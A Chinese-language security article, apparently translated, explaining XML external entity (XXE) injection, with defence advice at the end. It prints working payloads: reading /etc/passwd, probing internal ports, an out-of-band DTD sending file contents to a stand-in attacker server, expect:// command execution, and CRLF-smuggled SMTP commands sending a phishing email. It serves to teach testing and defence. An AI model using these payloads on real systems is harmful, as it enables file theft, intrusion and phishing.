Web應用常見漏洞淺析:XXE任意文件讀寫漏洞、遠程代碼執行……

2021-02-24 黑客之家

你的Web應用是否存在XXE漏洞?

如果你的應用是通過用戶上傳處理XML文件或POST請求(例如將SAML用於單點登錄服務甚至是RSS)的,那麼你很有可能會受到XXE的攻擊。XXE是一種非常常見的漏洞類型,我們幾乎每天都會碰到它。在去年的幾次web應用滲透中,我們就成功的利用了好幾回。

簡單來說,XXE就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,就可能導致任意文件讀取、系統命令執行、內網埠探測、攻擊內網網站等危害。

例如,如果你當前使用的程序為PHP,則可以將libxml_disable_entity_loader設置為TRUE來禁用外部實體,從而起到防禦的目的。

通常攻擊者會將payload注入XML文件中,一旦文件被執行,將會讀取伺服器上的本地文件,並對內網發起訪問掃描內部網絡埠。換而言之,XXE是一種從本地到達各種服務的方法。此外,在一定程度上這也可能幫助攻擊者繞過防火牆規則過濾或身份驗證檢查。

以下是一個簡單的XML代碼POST請求示例:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>XML is the best!</description>
   </core>
</catalog>

之後,上述代碼將交由伺服器的XML處理器解析。代碼被解釋並返回:{「Request Successful」: 「Added!」}

現在,當攻擊者試圖濫用XML代碼解析時會發生什麼?讓我們編輯代碼並包含我們的惡意payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

代碼被解釋並返回:

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

如上例所示,伺服器將/etc/passwd文件的內容作為響應返回給我們的XXE。但是在某些情況下,即便伺服器可能存在XXE,也不會向攻擊者的瀏覽器或代理返回任何響應。遇到這種情況,我們可以使用Blind XXE漏洞來構建一條外帶數據(OOB)通道來讀取數據。雖然我們無法直接查看文件內容,但我們仍然可以使用易受攻擊的伺服器作為代理,在外部網絡上執行掃描以及代碼。

在第一個示例中,我們通過URI將請求指向了/etc/passwd文件,並最終成功的為我們返回了文件中的內容。除此之外,我們也可以使用http URI並強制伺服器向我們指定的端點和埠發送GET請求,將XXE轉換為SSRF(伺服器端請求偽造)。

以下代碼將嘗試與埠8080通信,根據響應時間/長度,攻擊者將可以判斷該埠是否已被開啟。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

外部文檔類型定義(DTD)文件可被用於觸發OOB XXE。攻擊者將.dtd文件託管在VPS上,使遠程易受攻擊的伺服器獲取該文件並執行其中的惡意命令。

以下請求將被發送到應用程式以演示和測試該方法:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
     <date>2018-10-01</date>
      <description>&xxe;</description>
  </core>
</catalog>

上述代碼一旦由易受攻擊的伺服器處理,就會向我們的遠程伺服器發送請求,查找包含我們的payload的DTD文件:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

讓我們花點時間了解上述請求的執行流程。結果是有兩個請求被發送到了我們的伺服器,第二個請求為/etc/passwd文件的內容。

在我們的VPS日誌中我們可以看到,帶有文件內容的第二個請求,以此我們也確認了OOB XXE漏洞的存在:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

這種情況很少發生,但有些情況下攻擊者能夠通過XXE執行代碼,這主要是由於配置不當/開發內部應用導致的。如果我們足夠幸運,並且PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程式上,那麼我們就可以執行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

響應:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

我們使用Java的XML解析器找到了一個易受攻擊的端點。掃描內部埠後,我們發現了一個偵聽在25埠的SMTP服務,Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定用戶名和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連接中發送相應的USER命令。

但是如果我們將%0D%0A (CRLF)添加到URL的user部分的任意位置,我們就可以終止USER命令並向FTP會話中注入一個新的命令,即允許我們向25埠發送任意的SMTP命令:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

當FTP客戶端使用此URL連接時,以下命令將會被發送給VULNERABLESYSTEM.com上的郵件伺服器:

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

這意味著攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置連結)並繞過垃圾郵件過濾器的檢測。除了連結之外,甚至我們也可以發送附件。

能手動編輯web請求對於XXE攻擊至關重要,這裡我推薦大家使用BurpSuite。BurpSuite的掃描功能可以為我們檢測潛在的XXE漏洞,其次burp的Intruder功能非常適合用於埠探測。但要提醒的是工具只是我們的輔助,在某些情況下手動測試可能效果更好!

HTTP請求分析工具像RequestBin 和 HookBin 都非常適合OOB XXE的測試。此外,BurpSuite Pro的Collaborator也是個不錯的選擇,但一些安全研究人員他們更喜歡使用他們自己的VPS。

上面討論的主要問題就是XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器默認對於XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。

1.https://blog.zsec.uk/blind-xxe-learning/

2.https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/

3.https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

4.https://mikeknoop.com/lxml-xxe-exploit/

XXE Cheatsheet

1.https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injections

2.https://www.gracefulsecurity.com/xxe-cheatsheet/

3.https://gist.github.com/abdilahrf/63ea0a21dc31010c9c8620425e212e30

來源:gardienvirtuel 翻譯:secist

http://www.freebuf.com/articles/web/177979.html

以攻促防,攻防兼備

專注網絡安全人才培養

▌官方技術總部QQ群: 126117008

▌諮詢合作聯繫 微信  STCS86

如內容有誤,歡迎您留言糾正,謝謝!

相關焦點

  • 常見的Web漏洞—XXE(外部實體注入)
    此攻擊可能導致任意文件讀取,遠程代碼執行,拒絕服務,伺服器端請求偽造,內網埠探測,以及其他系統影響。漏洞成因1、沒有過濾用戶提交的XML數據2、使用的開發語言可以解析xml外部實體,如php環境中libxml庫≤2.9.0默認啟用了外部實體PHP漏洞示例代碼:<?
  • Zend Framework遠程執行代碼漏洞
    Zend Framework出現漏洞已經不是第一次了,早在2012年,WooYun就曝出了Zend Framework(ZF)框架中的XMLRPC模塊存在xxe(XML external entity)注入漏洞,攻擊者可藉此讀取伺服器上的任意文件,包括密碼文件及PHP原始碼。當時200餘家網站存在這一漏洞,知名開源建站平臺Magento等使用ZF框架的建站系統也受該漏洞影響。
  • XXE 漏洞攻擊淺析
    因此,攻擊者可以通過實體將他自定義的值發送給應用程式,然後讓應用程式去呈現。簡單來說,攻擊者強制XML解析器去訪問攻擊者指定的資源內容(可能是系統上本地文件亦或是遠程系統上的文件)。比如,下面的代碼將獲取系統上folder/file的內容並呈獻給用戶。
  • Web漏洞|XXE漏洞詳解(XML外部實體注入)
    目錄XXEXXE漏洞演示利用(任意文件讀取)Blind OOB XXE    目錄瀏覽和任意文件讀取    埠掃描    遠程代碼執行XXE漏洞的挖掘XXE的防禦在學習XXE漏洞之前,我們先了解下並且實體的URL支持 file:// 和 ftp:// 等協議,導致可加載惡意外部文件 和 代碼,造成任意文件讀取、命令執行、內網埠掃描、攻擊內網網站、發起Dos攻擊等危害。
  • XXE漏洞原理
    XML DTD(文檔類型定義)2.xxe漏洞危害利用2.1 文件讀取(有回顯)2.2 文件讀取(無回顯blind xxe)2.3 埠探測2.4命令執行3.ctf題和vulnhub靶場(xxe)3.1 api調用3.2 vulnhub靶場xee防禦簡介
  • 【漏洞通告】WinRAR遠程代碼執行漏洞(CVE-2021-35052)
    0x00 漏洞概述CVE     IDCVE-2021-35052時
  • 常見web安全漏洞
    理論上來說,大多數系統都是可以被暴力破解的,只要攻擊者有足夠強大的計算能力和時間,所以斷定一個系統是否存在暴力破解漏洞,其條件也不是絕對的。我們說一個web應用系統存在暴力破解漏洞,一般是指該web應用系統沒有採用或者採用了比較弱的認證安全策略,導致其被暴力破解的「可能性」變的比較高。
  • Web中間件常見漏洞總結
    web中間件及其漏洞概述(一) IIS1、PUT漏洞2、短文件名猜解3、遠程代碼執行4、解析漏洞(二) Apache1、解析漏洞2、目錄遍歷(三) Nginx1、文件解析2、目錄遍歷3、CRLF注入4、目錄穿越(四)Tomcat1、遠程代碼執行
  • 跟著鬥哥學Python安全開發之XXE漏洞
    對於XXE漏洞最為關鍵的部分是DTD文檔類型,DTD 的作用是定義 XML 文檔的合法構建模塊。當允許引用外部實體時,通過惡意構造,可以導致任意文件讀取、執行系統命令、探測內網埠、攻擊內網網站等危害。DTD 可以在 XML 文檔內聲明,也可以外部引用;libxml 2.9.1及以後,默認不再解析外部實體。
  • 漏洞預警 | Zimbra 遠程代碼執行漏洞
    3 月 13 日, 國外安全研究員 tint0 發布了一篇博客,指出 Zimbra Collaboration Server 系統全版本存在一系列漏洞,通過惡意利用可以導致遠程代碼執行漏洞。當 Zimbra 存在像任意文件讀取、XXE(XML 外部實體注入) 這種漏洞時,攻擊者可以利用此漏洞讀取 localconfig.xml 配置文件,獲取到 zimbra admin ldap password,並通過 7071 admin 埠進行 SOAP AuthRequest 認證,得到 admin authtoken,然後就可以利用 admin authtoken 進行任意文件上傳
  • XXE漏洞詳解
    XML外部實體(XML External Entity, XXE)  Web應用的腳本代碼沒有限制XML引入外部實體,從而導致測試者可以創建一個包含外部實體的XML,使得其中的內容會被伺服器端執行  當允許引用外部實體時,通過構造惡意內容,就可能導致任意文件讀取、系統命令執行、內網埠探測、攻擊內網網站等危害2、基礎知識XML,一種非常流行的標記語言  用於標記電子文件使其具有結構性的標記語言,可用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言  設計用來進行數據的傳輸和存儲, 結構是樹形結構
  • XXE漏洞總結
    Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的加載,xxe漏洞危害導致可加載惡意外部文件,造成文件讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。
  • Cisco WebEx遠程代碼執行漏洞
    其實遠程代碼執行漏洞非常普遍,研究人員在Cisco的WebEx在線和視頻協作軟體中發現一個不同尋常的遠程代碼執行漏洞。
  • 十大常見web漏洞
    五、Struts2遠程命令執行漏洞     ApacheStruts是一款建立Java web應用程式的開放原始碼架構。Apache Struts存在一個輸入過濾錯誤,如果遇到轉換錯誤可被利用注入和執行任意Java代碼。
  • Apache Tomcat 修復重要級別的遠程代碼執行漏洞
    編譯:奇安信代碼衛士團隊Apache 軟體基金會修復了影響 Apache Tomcat 的一個遠程代碼執行漏洞,以阻止潛在的遠程攻擊者利用易受攻擊的伺服器並控制受影響系統。HTTP web 伺服器。這個 RCE漏洞 CVE-2019-0232 能夠允許惡意人員通過利用由 Tomcat CGI Servlet 中出現的輸入驗證錯誤引發的作業系統命令注入,在受害者系統上執行任意命令。而這個輸入驗證錯誤是由「JRE 向 Windows 傳遞命令行形參的過程中出現的一個 bug 導致的」。
  • Spring Web Flow 遠程代碼執行漏洞分析
    其實,Spring嚴重的漏洞歷來都不算多,既然如此,那為什麼要分析它呢?因為Spring的框架越來越多,而且後面引入了SpringEl作為默認的表達式解析方式,所以一旦引入了類似於OGNL的表達式,很可能會帶來一些安全問題,本次漏洞就是由於Spring Web Flow的數據綁定問題帶來的表達式注入,從而導致任意代碼執行。
  • 漏洞預警 | CredSSP 遠程代碼執行
    2018年3月13日,微軟發布了本月安全補丁(KB4088787),其中包含了CredSSP遠程代碼執行漏洞(CVE-2018-0886)的補丁更新。該漏洞由安全公司Preempt的研究人員發現。CredSSP是一種用於傳輸安全憑證的網絡協議,通常在Windows遠程桌面(RDP)或Windows遠程管理(WinRM)中使用。
  • CVE-2018-17961 Ghostscript任意文件讀寫漏洞預警
    漏洞曝光時間:2018-10-09
  • 可遠程利用的Windows漏洞,黑客可任意執行文件
    關注我你就是個網絡、電腦、手機小達人近日,有關Windows NT LAN Manager(NTLM)中的安全功能繞過漏洞的詳細信息已經出現,Microsoft已在本月初的每月補丁星期二更新中解決了該漏洞。該漏洞的跟蹤記錄為CVE-2021-1678(CVSS評分4.3),被描述為在綁定到網絡堆棧的易受攻擊的組件中發現的「可遠程利用」的漏洞,儘管該漏洞的確切細節仍然未知。
  • 程式設計師都需要懂的10種常見安全漏洞
    本文將跟大家一起學習常見的安全漏洞問題,希望對大家有幫助哈。如果本文有什麼錯誤的話,希望大家提出哈,感謝感謝~1. SQL 注入1.1 什麼是SQL注入?SQL注入是一種代碼注入技術,一般被應用於攻擊web應用程式。它通過在web應用接口傳入一些特殊參數字符,來欺騙應用伺服器,執行惡意的SQL命令,以達到非法獲取系統信息的目的。